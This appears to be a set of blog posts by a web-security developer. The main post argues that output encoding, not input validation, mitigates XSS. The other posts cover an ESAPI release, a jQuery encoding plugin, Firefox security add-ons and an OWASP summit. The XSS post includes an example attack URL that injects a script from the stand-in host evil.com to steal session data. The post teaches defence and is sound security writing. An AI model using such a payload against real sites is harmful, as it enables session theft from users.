XSS - Validation vs. Encoding

I seem to have sparked another one of those lively internet conversations that I tend to spark from time to time. This time, the topic of debate was on mitigating XSS. I posted a response to a series of articles that I have read lately that either imply or blatantly state that Input Validation is the proper way to mitigate XSS. I whole-heartedly disagree with this assertion.

What is Cross-Site Scripting
Personally, I have always thought this is a horrible name for this vulnerability. The attack is performed by exploiting a vulnerability local to the codebase of the application. The Cross-Site part of XSS is really about the impact of the vulnerability rather than the vulnerability itself. An attacker can leverage weak security on a vulnerable site to include a payload hosted on another site.

That being said; XSS can be defined as a vulnerability that occurs when an attacker is able to break out of a data context and execute arbitrary code using crafted data. More simply put, XSS is nothing more than a buzz-word for a specific type of Command Injection vulnerability. Let's examine:

<!-- /search.jsp -->
<div id="my-custom-div">
   Your search for ${request.getParameter("q")} returned '${results.size}' results

What could go wrong here?

http://my.server.com/search.jsp?q=<script src="http://evil.com/steal-session.js"></script>

These are some very naive attacks that can work. Also, notice - I have also illustrated the Cross-Site part of the Cross-Site Scripting vulnerability in my second example. This is a cross-site payload to a command injection vulnerability as the vulnerability is not the cross-site part of it at all, in fact; the script tag acts exactly as it is specified to.

Data vs Execution Context
This is a subject that has been covered a hundred million times before by people a lot smarter than me, so I will provide a brief summary on what this means in the context of XSS:

Legend: Execution Environment Data

HTML Context:
<command parameter="data" parameter="data">data<ommand>

Javascript Context:
var var_name="data";

Style Context:
selector {
   attr: data;
   attr: command(data);

Highly Dilluted Context:
<command style="attr: command(data)" onclick="command('data')" param="data">data<command>

Now that we have that covered, let's move into each exhibit one by one.

Exhibit A: Standard Run-Of-The-Mill XSS
This is your mommy and daddy's XSS vector. The most common type of XSS there is on the web today and coincidentally the easiest to mitigate. This is the Reflective XSS that was not only the grand-daddy of all other XSS vectors but is still the most prevalent type of XSS issue that I find in the wild. This type of XSS is also illustrated perfectly in the above example.

By accepting untrusted input that can be modified by the end-user and rendering that input directly to the view we have created our vulnerability. An attacker can break out of the data context simply by embedding a command in the data being submitted.

While it is possible that a strict alpha-numeric whitelist validation approach could effectively mitigate the illustrated payloads; this is often not acceptable. I used the search results page as an example here for 2 specific reasons.

1) Search Results Pages are were most of these issues exist.
2) Search Engines have their own parsing engines and data vs. context rules.

If the whitelist is too strict, I won't be able to perform quality searches such as


Validation simply doesn't work in this case - yes, input validation should still happen here prior to forwarding this untrusted data to a back-end service such as Solr however when rendering on the view you want this to be encoded in the correct context:

<!-- /search.jsp -->
<div id="my-custom-div">
   Your search for ${encodeForHTML(request.getParameter("q"))} returned '${results.size}' results

When the untrusted data gets rendered now, it becomes:

"Your search for mfg:"Audi" model:"A4" year:&gt;2010 price:&lt;25000"

Additionally, an attempted attack from above becomes:

"Your search for &lt;script&gt;alert(document.cookie);&lt;/script&gt;"

Exhibit B: Persistent XSS
Persistent XSS really isn't any different than reflective when it comes to mitigation. The primary difference between Reflective and Persistent XSS is that reflective XSS relies on crafting links or otherwise tricking a victim into submitting the payload to the application whereas persistent XSS has no such limitations. A victim only needs to visit a page that has previously been exploited and the application delivers the payload to the victim without any additional interaction from the attacker. This is an important distinction in the way the attacks are executed, however they are mitigated the same way, by using Output Encoding.

Exhibit C: DOM-Based XSS
DOM Based XSS is a really interesting vector both from the attack and mitigate perspectives. What makes DOM Based XSS so unique is that it all happens in the browser. The details of what DOM-XSS actually is are discussed ad-nauseum here and here so I will refrain from trying to explain the details of it here. But if we examine the DOM-XSS Prevention Cheatsheet (which I contributed to at the OWASP Summit 2011 in Lisbon) you will see that once again, Output Encoding is the clear answer to solving this problem. The difference here being that when dealing with DOM-XSS you are encoding with Javascript as opposed to using Server-Side encoding.

Exhibit D: Edge Cases and Uncommon Vectors
In the conversation, a couple of edge cases were brought up. The first one was in dealing with File Uploads. I have to assume that the vector in question was related to this Ha.ckers.org Post. If that is indeed the case, then there are a few ways to address the problem. Output Encoding will still absolutely solve the issue, as the image filename is rendered to the view, the filename - having been provided from an untrusted source initially (end-user) should be encoded as an html attribute value in the src attribute of the img tag. While I would suggest doing that anyhow, the correct mitigation here is to rename a file rather than using the filename supplied in the post headers when writing it to disk.

The second edge case to be brought up was json parsing. This vector is a DOM-XSS vector, but is really neither about encoding or validation. The problem occurs when someone uses eval to parse a json data payload rather than using the new json_parse() function that is supplied in all modern browsers and is back-ported for non-modern browsers.

The last and final vector that was discussed was untrusted javascript and/or jsonp. Untrusted javascript and jsonp should never be executed in the scope of the document. This is also neither a validation or encoding issue, as neither are an XSS issue. These vectors are all about trust, and untrusted code should never be executed in the same scope or context as trusted code. The correct way to mitigate data-theft via untrusted script inclusion or jsonp is to execute that code in a sandbox or closure. In a sandbox or closure you can limit the scope of the execution context using a whitelist approach. Gareth Heyes has created some great sandboxing implementations to help combat against these attack vectors as OWASP Projects

Closing Statements
While I could (and maybe should) go into greater detail in each one of these areas, my main point with this post was to express that while Input Validation is a good idea for many many reasons, it is not the answer to solve one of the most prevalent bugs on the interwebz. Output Encoding remains the best practice for mitigating these attacks and by claiming otherwise we are doing a disservice to developers that really want to write more secure code. 

Update 1:
James Jardine has posted an excellent follow-up to this post on his blog over at  http://www.jardinesoftware.net/2011/09/09/xss-validation-vs-encoding/



Friends, Romans, Countrymen - Lend me your ears!

It is my pleasure to announce the official release of ESAPI 2.0GA!

This release features some key enhancements over ESAPI 1.4.x including, 
but not limited to:

     * Upgrade baseline to use Java5
     * Completely redesigned and rewrote Encryptor
     * New and Improved Validation and Encoding Methods
     * Complete redesign of the ESAPI Locator and ObjectFactory
     * More unit tests
     * ESAPI Jar is now Signed with an OWASP Code Signing Certificate
     * ESAPI Jar is Sealed
     * And much, much more

We understand that a lot of you have been waiting a very long time for 
this, and so have we! It was important that we take our time with this 
release to make sure we had addressed everything possible prior to it 
going out. Included in that process was:

     * Peer review of the ESAPI Codebase
     * Code and Architecture Review of new Encryption
     * Adding and fixing unit tests
     * Tons of discussion and interaction with the OWASP Community and 

Without the feedback from our users, we could have never accomplished 
some of the awesome enhancements that have been made to the library 
since the last major release, so we owe you all a debt of gratitude for 
helping us design and implement controls that will ultimately help you 
write more secure applications.

We are currently in the process of getting a whole new suite of 
documentation, with a focus on integration tasks and actually using 
ESAPI in real applications - look for those documents over the next 
couple monthes, as well as a whole new contribs section in our 
repository aimed at providing turnkey components and solutions to some 
of the more commonly encountered integration points for ESAPI.

You can download the full distribution of ESAPI 2.0GA from our home on 
Google Code at:

The latest API Docs can always be found at:

Within the next 24-48 hours the distribution to Maven Central should be 
updated as well and you should be able to start using 2.0GA in your 
Maven projects as soon as that happens. Maven dependency will be:


As always, we would love to hear your feedback on the release and if you 
have any questions at all, you can join the ESAPI-User Mailing List here:

Thanks again to the OWASP and ESAPI Community for helping us build and 
release the tools that help make the internet just a little bit more sane!

The ESAPI Development and Management Teams

P.S. Please forward this along to any colleagues or distribution lists 
that may be interested.


ESAPI4JS - Very good write-up by Marcus Niemietz

So late last week, I recieved the final copy of a paper written by Marcus Niemietz that takes a deep dive into the ESAPI4JS Proof of Concept I wrote over a year ago. I was quite surprised, to say the least - and a bit humbled by 20+ pages of text on the project.

It's funny, I was just thinking about digging in my heals this spring and running through this code again - clean it up, trim a bunch of fat - and possibly do some additional integration into further jQuery plugins. Seems that I am not the only one who has been thinking about this project lately and that is great news!

First and foremost - I have reposted the entire report (with the author's permission and OWASP's) over on the OWASP Site.

Marcus spends some time discussing the project and concept of the project as well as the ESAPI project as a whole first off. Ths lays the groundwork for his paper and is probably stuff that most of you (my readers) already know. He also corrects some mistakes in the installation guide (that will be reflected on the wiki as soon as time allows). In addition he also spends some time discussing the assessment criteria and specifically how they relate to this project.

Once we get passed all of that, we get into the real meat of the paper.

Section 3 focuses on improvements that could be made to the project and this is where I would like to spend most of my time in this post.

3.1.x - Retrofitting Security

Marcus calls out a point here that a mature SDL will have isolated the "risks" of the application prior to any development being done. This is generally very true for shops that have an established and mature SDL - but that statement definitely does not apply to the majority of software development shops that are writing applications for the web today. The idea of retrofitting security into an existing application is paramount to the idea behind ESAPI. It is imperative that developers have the ability to integrate ESAPI controls into existing applications because there are a lot more insecure existing applications on the internet right now then there are new applications being built. Several large shops have legacy applications that are no longer actively maintained unless there is a problem, some have such massive application portfolios that it isn't realistic to expect rewrites and large redesigns, and the majority of the applications that are live (and vulnerable) on the web today are smaller "Mom and Pop" applications. This is the target market for ESAPI!

3.2.x - Modification of Objects

I heartily agree this is a huge issue - and one that I have passionately spoken out about whenever the opportunity arises. The fact of the matter is that until Javascript accepts the fact that some objects just *need* to be immutable, security will always be just another stepping stone for the attacker to (easily) overcome in the browser. In specific Marcus refers to the ability to overwrite objects in the DOM by referencing HTML Elements with the same id in Internet Explorer. While this is indeed a problem, the issue is much larger and depends 100% on the forced implementation of Immutable Objects in ALL browsers as described in the ECMAScript 5 Specification

3.3.x - Redundancy

This is a tricky issue in some regards, while most of this is due to the fact that I was simply creating a proof of concept that this could be done in Javascript - I also am a firm believer that all implementations of the ESAPI (regardless of language) should follow a well defined API specification. Because of this, it is to be expected that there will be some redundancy in some languages - some methods that perhaps just don't make sense in the language (such as the illustrated escape/unescape methods) will be implemented anyhow just to enforce the contract (implied in JS of course) of the API.

Adding more Validation!

I  agree with this to a certain extent - I think that all the suggested validators should be "available", but there is no need for my user registration form on my small used book store to require validation of International Bank Account Numbers - it does however make sense to provide ISBN validation. This problem (I believe anyhow) is addressed very well in the jQuery Plugin architecture and I would ultimately like to see this same type of architecture implemented into future ESAPI4JS implementations.


All in all, I think Marcus did a great job researching and presenting his case in this paper, and I highly recommend that everyone give it a read and comment. I look forward to reading your comments and rebuttals  - this is how we change the world people. One small debate at a time. :)


New Encoding - Property Aware Contextual Encoding

After some conversations over Twitter with the the XSS Ninja known as Gareth Heyes regarding different escaping needs that went even further than just having the context itself. Basically, the gist of the conversation asserted that different escaping rules applied to different CSS properties, for instance the background-color property accepts Hexadecimal color codes (#CCCCCC) or rgb color (rgb(100,100,100)) formulas as well as plain-text well-known color keywords (blue) - this is drastically different than what would go into something like say the width property - which would simply be a fixed size or percentage. It was at this point that we came to the conclusion that jquery-encoder should use the property name that is being encoded for to determine the correct escaping syntax.

The new API for the property aware encodeForXXX methods follows

  • encodeForCss(property,data,omitPropertyName)
    Returns the encoded property: value pair, escaped in the context of the passed in property. Banned properties are the behavior family (behavior,-moz-behavior,-ms-behavior) as they are not safe to be set using untrusted data and allow for script injection by definition. Values that contain the expression keyword will also be rejected as unsafe, as this is the equivelent of calling the javascript eval within a style context. If the optional omitPropertyName is true the function will return only the value encoded for the passed in property.
  • encodeForHTMLAttribute(attribute,data,omitAttributeName)
    Returns the encoded attribute="value" pair, escaped in the context of the passed in attribute. Banned attributes are href and src as those should be encoded using the encodeForUrl function. The javascript event hooks on* are also banned as they should be set using the encodeForJavascript function. The style attribute should be set using the encodeForCSS function. If the optional omitAttributeName parameter is true, the function will return only the value encoded for the passed in attribute.

In all cases, the property/attribute names are canonicalized prior to encoding to validate and get the escaping context for that property (or the default if there is no specific context specified)

This was a somewhat difficult decision to make, simply because it is mixing in a bit of validation with the output encoding control - which is not necessarily ideal from a pure design standpoint. I felt however, that this was a necessary evil in order to ensure correct encoding/escaping context and get the most value from the plugin.

Please continue to send me your thoughts and ideas for the plugin - I plan on releasing it to the general public through the jQuery plugin repository within the next couple weeks so any feedback from the community leading up to the release of the plugin will only make it stronger!

As always, the latest version of the plugin is available from my github

The sandbox (which will be updated with the latest version today) is available on my site:


Firefox Plugins for Security Professionals - Top Ten for Twenty-Ten

Better late than never, is the saying I am searching for I believe. I have been slacking on this list for the last couple months, and now that it is nearly March I have decided I had better get off my dead (but very shapely) behind and get 'er done! So without further ado, the ever popular and still far better than any of Letterman's top ten lists - Top Ten for Twenty-Ten! *insert applause here*

10. iMacros
This plugin has absolutely nothing to do with security, however, it is all about automation these days - you can write handy macros to probe every page you go to for happy little bugs that you can later play with (responsibly, of course)

9. Tamper Data
Still among my favorite plugins. This is like having a version of WebScarab or BuRP right in your browser! Every request goes through this plugin and you can modify or alter each one on it's way to the server. Handy for bypassing those pesky client-side validations without having to disable JavaScript on the page.

8. Wappalyzer
Remote web app fingerprinting plugin that does a good job picking out what technologies web applications are using by analyzing the code for particular fingerprinting signatures. I haven't been using this for a terribly long time, but so far it beats the hell out of trying to manually determine the technology stack that an app is using.

Very handy for inspecting what is *really* going on it AJAX applications. This prints out JSON responses in a very readable way. Pretty self-explanatory plugin.

6. Javascript Deobfuscator
Curious about what GWT is really doing in your JavaScript Engine? What to see how the Javascript Engine interprets a specific jQuery function? Needs to be able to monitor what obfuscated JS code is doing? Then this is the plugin for you. It slows down the JS engine *alot* - but it is far better than any other deobfuscator I have tired because it deals directly with the Javascript Engine!

5. Poster
Very handy little tool for playing around with RESTful web services. Far more intuitive than using Curl or writing custom clients to muck around with webservices.

4. Advanced Dork
Plugin to aid with the well-understood and vastly practiced art of Google Dorking. Do I really need to go into how useful this can be?

3. CryptoFox
Replacing both FireEncryptor and Leetkey this year is the *awesome* CryptoFox plugin which encrypts, decrypts, and even has a built in dictionary attack for MD5 passwords. Really, this is one of the coolest plugins I have seen to date for crypto related activities in the browser.

AES-256 (cryptofox)

2. FireQuery
Normally this would be listed in the same place as Firebug, however - this add-on add-on really, truly deserves it's own spotlight. With the popularity of jQuery on the web for doing, well, basically *everything* you can possibly do client-side - this greatly simplifies the art of discovering just where the developers did it wrong and find that DOM-XSS bug in their jQuery code! If you are testing rich-ui applications, this is a must-have.

1. The Firebug Family
Firebug is one of those truly interesting add-ons for Firefox that really became a platform unto itself. At some point, a bunch of developers decided that writing add-ons for the firebug add-on was more fruitful than writing add-ons for the host container, firefox. If you really need to know more about this plugin - just go click the link and read for yourself. This plugin is an absolute must-have for anyone who has ever come within 100 miles of security or development in their life. If you great uncle's wife's sister's dog's former owner happened to be a security guy, you had better have this plugin installed - or else the interwebz police are gonna come revoke all your internets and you won't be allowed to read my blog anymore.

So that's it for this years (last years) top ten - I hope to see this continue to be my most popular annual post, since I enjoy doing it so much and it brings lots of people to the blog to read my other really cool blog posts :)


jQuery-Encoder updated

I have made several updates to the jqencoder plugin over the weekend and thought I would share a little about them quickly.

Plugin Readme: http://bit.ly/ie4J04

First, and most importantly - I have added a series of static methods (that look similar to the methods on the Encoder interface for ESAPI) to perform particular contextual encoding tasks - specifically when building html dynamically rather than building elements up using the DOM.

  • encodeForHTML
  • encodeForHTMLAttribute
  • encodeForCSS
  • encodeForURL
  • encodeForJavascript

Each of these methods can be accessed under the static $.encoder context.

$.post('http://untrusted.com/external_profile', function(profile) {
      $('#widget').html('<div id="untrusted_widget" width="' + 
                        $.encoder.encodeForHTMLAttribute(profile.width) + 
                        '" onmouseover="' + profile.callback + "(\'' +
                        $.encoder.encodeForJavascript(profile.parm) + 
                        '\')">' + $.encoder.encodeForHTML(profile.data) + 

In addition, the $.canonicalize method has also been moved into the $.encoder context.

$('#phonenumber').blur(function() {

The third, and final big change over the weekend - was solidifying the ES5 immutable objects protection. If it is supported by the browser, the $.encoder object will be frozen, sealed, or non-extensible (in that order of priority) to protect the encoding and canonicalize functions themselves from being tampered with at runtime. At this point in time, Chrome has implemented Object.freeze in the latest release version, Mozilla has implemented it in Firefox 4 and Microsoft have implemented it in IE9. Safari shows no indication of implementing it, and neither does Opera.

Now, I pose a question to the developers that may use this plugin. Is there a need to keep the instance method $.fn.encode? It seems to me that due to the nature of setting DOM element properties via Javascript, that this is not really needed at all. So, should I nuke it?

I end this post with a final thought (continuing from my above conversation of Object.freeze)

I strongly recommend that developers start taking the initiative to make their custom JS objects immutable, and also recommend making framework objects immutable as well. If you were to (using jQuery) issue the following in your onready handler

   if ( Object.freeze ) $ = Object.freeze($);
   // .. initialize page below here

It seems to me, this could eliminate a lot of potential vulnerability exploitation of bugs in framework code. What are your thoughts?

Also, why not consider the following:

var lock_objs = [ String.prototype, 
                     Object.prototype ];
   for (var i=0;i<lock_objs.length;i++) lock_objs[i] = Object.freeze(lock_objs[i]);


Call for Papers - AppSec @ UberConf 2011

Call for papers: Application Security Track at Uber Conf 2011 - July 12-15

OWASP is currently soliciting papers for the Application Security Track at
Uber Conf, Denver, CO.

OWASP is partnering with Uber Conf to have an Application Security
track at this prestigious conference. Brought to you by the No Fluff
Just Stuff Software Symposium Series, Über Conf will explore the ever
evolving ecosystem of Java the Platform.

The Ü will offer over 120 technically focused sessions including hands
on workshops centered around Architecture, Cloud, Security, Enterprise
Java, Languages on the JVM, Build/Test, Mobility and Agility. The goal
of Über Conf is a simple one: totally blow the minds of our attendees.

We are seeking people and organizations that want to present about how
security relates to the following Java topics (in no particular

  * Architecture
  * Enterprise Java
  * Java Internals
  * Security - Enterprise & JVM
  * Cloud Computing
  * Languages on the JVM - Groovy, JRuby, Scala & Clojure
  * Java Web Frameworks - Wicket, Tapestry & SpringMVC
  * Build Systems - Maven & Gradle
  * Testing
  * Agility
  * Tools

How to make a submission:
  * Fill the form available at http://www.owasp.org/images/4/42/UberConf.AppSec.CFP.rtf.zip
  * Submit the filled form at https://www.easychair.org/conferences/?conf=appsecatuberconf2011

Submission deadline is Feb 28th at 12PM EST (GMT-5)

Submit Proposals to:

Conference Website:

OWASP Website:

Please forward to all interested practitioners and colleagues.


Dear OWASP Summit, Obrigado

It has been a couple days since I returned from my trip to Portugal for the OWASP 2011 Summit in Lisbon; and I can almost speak again. Last week was truly one of the most incredibly productive weeks I think I have ever witnessed. Of course, when you throw almost 200 security professionals from around the globe in a small space for several days with a seemingly limitless supply of (horrible) beer and wine - would you expect any less?

Day 1
After arriving at DIA at around 8am for my 10am flight to Newark I tinker on some ideas while sitting in the airport lounge. Finally it is time to board the plane and I arrive in Newark. As soon as I make it out to where the restaurants are at Newark I run into Tom Brennan and we immediately head up to the Presidential Club for some free Bloody Mary's, some Superbowl, and some geek talk about plans for the week. We sat in the bar for about 3 hours, saw about 15 minutes of the Superbowl and ran into another big group of OWASPers at the gate from Newark to Lisbon. After what seems like an eternity, I arrive in Lisbon at 8am GMT. Customs was almost non-existent in Lisbon. Arriving at the passport counter, the lady simply scanned my passport and handed it back to me without so much as a glance at me or my picture. After the passport counter we had to go through customs - nothing to declare? Ok, just follow the green line, all the way out without ever speaking to another person until we were outside getting on the bus. A handful of people are already at the Campo Real Resort when we arrive and we are quickly assimilated into various smaller sects of security pros running around in shorts and flipflops or 3-piece suits. Broke fast with a big group and then headed up to the Library Bar where the wireless was decent to sit on the patio and prepare for the week ahead.

Day 2
Up and at it early for the first actual day of the summit. Spent the morning working on the finishing touches for the working sessions that I was leading on ESAPI and a global security disclosure policy for OWASP then started shooting off e-mails to connect with some people that I don't have the opportunity to see very often and spent a good deal of the morning talking about how different security needs are around the world compared to what I am used to here in the US of A. Around lunchtime, I was invited to participate in the Global Project Committee in planning out the new platform with OWASP Projects. I spent the rest of the day sequestered in a hidden cove with Jason Li and Brad Causey plotting for the Projects working session. After the day was called and dinner was served I spent the evening regaling the crowds with stories and jokes while the first part of the Governance session raged on across the street.

Day 3
Not quite as early as yesterday, but still early enough. Headed to the main hotel to meet up with Jason and Brad to continue our work on the Projects refactor. Things are getting done at an unreal pace. Yesterday there was just a brief sketch and some ideas bouncing around - by the time we finish today, we have a full-fledged plan of attack and something reminiscent of a roadmap. We even have little icons and some fancy process diagrams to show off at our session later today! First actual session I manage to make it to is with Micheal Coates on AppSensor. I am a huge fan of AppSensor, and Mike is a pretty genuinely cool guy to hang out with (after a few drinks XD) so I go to lend my support and help hash out some ideas for the project. Next on the agenda is our projects working session. Some heated debate sparks up regarding the website, and how this ties into it, and what should happen first; but somehow, we manage to make it through the entire plan - show off all our diagrams and process stuff, and smooth out some of the rough edges with the crowd. After this, I sneak away to go mingle with some of the AppSec Elite, like John Stevens from Cigital and a few others that have super secret identities. The evening wraps up with snacks, beer, and wine in the hotel followed by dinner and OWASP Band Practice.

Day 4
Moving a little slower than yesterday, but I am at the hotel shortly before 10am for my first working session of the day. I have 4 scheduled that I was prepared for and get pulled into another one that somehow ended up leaderless. My first session of the day goes well - what do we need from Framework Developers as it applies to Output Encoding. We outline a set of 4 high-level requirements that are to be later formulated into an official request from OWASP to the framework developers (Spring, Struts, etc.) to make contextual output encoding part of their frameworks. Immediately following that session I get pulled onto a working session to go through the ESAPI validation code and talk about Jim Manico's ESAPI-Lite project. We do a thorough deep-dive into the ESAPI validators and basically run through a code review with a room full of smart people and the code up on a projector. Some great ideas and bugfixes will be coming out of that session! Finally it is time for lunch, but not before we all get coraled into the inner patio area of the hotel for a group picture and quick pow-wow with the summit organizers. I lunch on some particularly dry tiny sandwiches with Jeff, Dave, and a crazy hacker girl from the UK then head off to start preparing for my afternoon sessions. I also get pulled away to take care of some work related stuff (having a conference call, over a very flooded wifi network is a very interesting adventure) then head back for my second to last session of the day. The OWASP Security Vulnerability Disclosure Policy is born and noted on the patio over espresso and beer in the warm late afternoon sun and at long last the last working session for the day, where we were to be roadmapping the future of the ESAPI project get's cancelled because we are going to have an actual ESAPI summit sometime in early Spring. Now it's time to have a few drinks, so I head to the wine tasting in the control center and run into the guys from Hacker News Network, who have been trying to find me for days so we could do an interview. I grab my stuff and head up to the presidential suite in the hotel where I spend about 30 minutes chatting it up with the guys and then another 15-20 doing the actual interview. Now it's time to head out for dinner and the much anticipated OWASP band performance. We managed to practice and get down 4 songs the night before, so we knew we would be doing a lot of improv. We get the host house all set up for the concert and brazillian bbq that will happen in a couple hours while the final working sessions for the night wind down. As people start filtering in the house, a couple people are jamming away on the equipment that was provided by Dinis' brother (local) and we pick up one of his students to play Guitar, his brother to play guitar and bass, and Stephen from the Netherlands (OWASP CTF) to hop on bass as well. We start jamming out around 11pm and run through about 2 hours of music, including but not limited to an original song, that I made up on the spot called 'The SQL Injection Blues' which largely featured quotes and friendly jabs at Jim Manico (who quite unfortunately was actually in his room at the hotel, sick as a dog), along with some old favorites like La Bamba, Sweet Child of Mine, Enter Sandman (with John Wilander rocking out), Born to be wild, and a ton of others that I can't remember right now. By the end of the night, my voice was completely gone, but I was having a blast eating brazillian bbq as soon as it was coming off the grill and chatting it up with Mark and Doug outside the party house.

Day 5
Somehow, I managed to peel myself out of bed long enough to attend the closing ceremonies at the hotel around 10am and promptly headed back to the villa for another hour or so of sleep afterwards. My voice was still completely gone (good thing I did the interview before the show!) and I spend most of the day catching up with everyone and chatting about the conference, getting contact info for everyone and planning my last day in Lisbon. We have dinner down at the resteraunt that evening where I have a little bit of Ouzo and then we all head for the Library Bar to chat it up before finally heading for bed.

Day 6
Up bright and early for my big Turbo-tour of Lisbon. I managed to rally up about 9 people for the day so we split the cost of transportation and head into the city. A couple of the guys (and gal) from the group are staying that night in Lisbon so we all meet up at the hotel and head down into the City Centre of Lisbon. It is a long arduous journey through the City Maze in Old Town as we wind our way up the mountain to see the Castle of St. Jeorge (stopping many times along the way to look at stuff, or peruse shops, or just take some pictures) and finally after a couple hours we are up at the castle. It is huge, and we spend about an hour walking around the walls and towers, admiring the view of the city and the river from the highest points of the castle before finally getting in to see what most of us went to the castle to see. The Camera Obscura was invented by Leonardo Da Vinci and it is basically a really old school periscope projector that projects a view of the entire city of Lisbon onto a kind of upside-down planetarium screen. We get a history lesson as the keeper of the camera swoops the camera around showing us different parts of the city and relating tales about those parts and things that have happened there. It was awesome, and well worth the climb and the wait. After we are done at the castle, we decide to head back down the hill and find a place that was recommended to us for lunch. We find it after a bit of walking and have some awesome portugeuse food and arguably the best Sangria that I have ever tasted. After that the group splits up, some going to the Tower of Betel to take pictures, and the rest of us down the hill for shopping and sunset. We head down the hill, miss the sunset over the ocean - but that's okay because we find an amazing street artist set up on the side of the road and I ended up buying a painting to bring home and remind me of my trip. After that we head further down the hill and find an awesome little cafe that has some of the custard cups that Lisbon is famous for so we sit down for an Espresso and some pastries and chat a bit about the day so far and what else we want to do. After we are done there we have a little over an hour until we are supposed to meet back up with the rest of the group for dinner - so we head down into the main drag of Lisbon. The huge pedestrian street that is lined with touristy shops and sights and walk down the strip, stopping to buy a few trinkets for the family on our way back to the hotel. Once we meet up with everyone at the hotel, we sit in the bar for a few to have a glass of port and figure out where we want to go for dinner. We end up heading to a little resteraunt not too far away called Sancho, which is supposed to be one of the best places in Lisbon to go for seafood. The food was awesome, the wine was good, and the conversation was unbeatable. Finally after about 2 1/2 hours for dinner we head back to the hotel for a nightcap before most of us head back to the resort and turn in for the night.

Day 7
Literally, 22 1/2 hours of travel, I reached my home - promptly laid down my luggage, shared trinkets with the family and finally passed out in my own bed; millions of ideas and thoughts from the summit still running through my head.

I have said it a zillion times over the last week, but I will say it again - the experience was truly unbeatable. The opportunity to work with so many brilliant people from our community and really get things done was amazing. Learning about the security needs and political struggles from the stories of the attendees was incredible. Seeing Europe for the first time was beautiful. I can't wait for the next summit. I have already put in my vote for either South America or Prague. :)

Client-Side Contextual Encoding for jQuery

As everyone is probably aware by now, jQuery; the awesome brainchild of John Resig - is everywhere! This opened an opportunity for me in my crusade against DOM Based XSS by creating a plugin to allow developers to contextually encode untrusted data on the client side (more and more important with widgets and ajax all over the place).

So what is this new hotness, this awesome plugin? It's called jquery-encoder (yeah, I was feeling very creative when I came up with that name) and it is super-simple to use!

Here is a quick snippet of the power of jquery with jquery-encoder
$.post('http://untrusted.com/webservice', function(data) {
   $('#result').encode('html', data);

Under the hood, this runs the untrusted data that is being returned from the untrusted.com webservice through an HTML entity encoding algorythm before setting it using the jQuery .html() function.

You can also encode for HTML Attributes or CSS.
$.post('http://untrusted.com/user-theme-color', function(data) {
   $('body').encode('css', 'background-color', data);

$.post('http://untrusted.com/unique-id-generator', function() {
   $('#result').encode('attr', 'id', data);

As soon as this matures and get's some testing, a full blown technical description and user's guide will be available - but for now, what I am really looking for is people to try it out! I don't recommend dropping this into your production code just yet, this is just a first attempt at getting this right.

The other big thing that I did was bring the awesome ESAPI canonicalization functionality to the jQuery world. This is *huge* for client side validations and for detecting bad data (multiple/mixed encodings)

The canonicalize function is a static method on the jQuery object and can be used as illustrated below.
$.canonicalize('&lt;script&gt;'); // <script>
$.canonicalize('%3cscript%3d'); // <script>
$.canonicalize('%253cscript%253d') // Raises exception (double)
$.canonicalize('&#x26;lt&#59') // Raises exception (multi-double)

IMHO, this is one of the most powerful utility functions available in the entire ESAPI and I am super-stoked that I was able to port it to javascript for jQuery. However, it needs to be poked at, prodded, and broken before it is rock solid. I currently have a suite of about 70 test cases that I am throwing against it, but I am sure there are at least double that. It will decode escaping for HTML, CSS, and Javascript escaping rules.

  • jQuery ( >=1.4.3 )
  • Class.extend function (prototype or John Resigs)

Source: https://github.com/chrisisbeef/jquery-encoder/blob/master/src/main/javascript/org/owasp/esapi/jquery/encoder.js 

Minified: https://github.com/chrisisbeef/jquery-encoder/blob/master/jquery-encoder-0.1.0.js

Final Thoughts

Please, share in comments if you have any questions or comments - feel free to communicate with me through Github as well.

Now, go forth and break it!